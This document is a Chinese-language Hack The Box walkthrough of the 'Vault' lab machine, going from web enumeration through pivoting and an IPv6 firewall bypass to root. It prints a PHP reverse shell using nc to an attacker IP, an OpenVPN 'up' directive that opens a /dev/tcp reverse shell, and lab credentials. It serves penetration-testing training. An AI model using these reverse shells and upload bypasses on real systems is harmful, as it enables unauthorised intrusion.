HTB靶机Vault渗透测试详细教程
1. 环境准备
- 攻击机:Kali Linux (IP: 10.10.14.213)
- 靶机:Vault (IP: 10.10.10.109)
2. 初始信息收集
2.1 端口扫描
使用nmap进行初始扫描:
nmap -sC -sT -sV 10.10.10.109
2.2 Web服务枚举
使用gobuster进行目录扫描:
gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100
发现提示信息:"We are proud to announce our first client: Sparklays (Sparklays.com still under construction)",于是扫描/sparklays目录:
gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays
3. Web应用测试
3.1 登录页面分析
发现login.php和admin.php页面,注意到登录表单使用GET方法提交数据。
尝试SQL注入:
sqlmap -r sparklays-admin-login.req --batch
未发现注入点。
3.2 文件上传漏洞利用
访问/design目录被禁止,扫描该目录:
gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design
发现upload.php页面,尝试上传PHP反弹shell:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f')
上传被拒绝,使用Burp Suite进行文件扩展名fuzz测试,发现.php5扩展名可被接受。
上传shell.php5后,在Kali上监听:
nc -lvnp 1337
访问上传的shell文件获取初始shell。
4. 权限提升
4.1 获取SSH凭据
在dave用户的Desktop目录下发现SSH凭据:
dave:Dav3therav3123
使用该凭据通过SSH连接靶机:
ssh dave@10.10.10.109
4.2 内网探测
在dave的Desktop目录发现"Servers"文件,包含内网服务器信息。
使用nc进行端口扫描(因靶机无nmap):
nc -zv 192.168.122.4 1-1000
发现192.168.122.4开放22和80端口。
4.3 端口转发
创建SSH隧道访问内网服务:
ssh -L 1234:192.168.122.4:80 dave@10.10.10.109
4.4 VPN配置漏洞利用
发现VPN测试功能,利用OpenVPN配置文件反弹shell:
remote 192.168.122.1
nobind
dev tun
script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"
在攻击机监听:
nc -lvnp 9002
点击"Test VPN"获取shell,得到user flag。
5. 横向移动
5.1 获取DNS服务器访问权限
在dave目录发现另一组SSH凭据:
dave:dav3gerous567
连接DNS服务器:
ssh dave@192.168.122.4
5.2 发现Vault服务器
在hosts文件中发现"The vault"的IP地址:192.168.5.2
使用nmap扫描(使用特定源端口绕过防火墙):
nmap -Pn -v -n --source-port 53 192.168.5.2
发现987端口运行OpenSSH。
5.3 IPv6绕过防火墙
检查IPv6支持:
ping6 FF02::1
查看邻居缓存:
ip -6 neighbor show
确定vault的IPv6地址:fe80::5054:ff:fec6:7066
通过IPv6连接vault:
ssh -p 987 dave@fe80::5054:ff:fec6:7066%ens3
6. 获取root权限
6.1 发现PGP加密文件
在vault上发现root.txt.gpg文件,PGP ID为D1EB1F03。
6.2 文件传输与解密
将文件从vault传输到DNS服务器:
scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .
再从DNS服务器传输到ubuntu:
scp root* dave@ubuntu:~
在ubuntu上使用gpg解密:
gpg --decrypt root.txt.gpg
使用之前找到的key作为密码,获取root flag。
7. 总结
本渗透测试涉及以下关键技术点:
- Web目录枚举与文件上传漏洞利用
- 文件扩展名fuzz测试绕过上传限制
- SSH隧道建立与内网服务访问
- OpenVPN配置文件漏洞利用
- IPv6协议绕过防火墙限制
- PGP文件解密获取最终凭证
通过多层横向移动和协议级绕过技术,最终获取系统最高权限。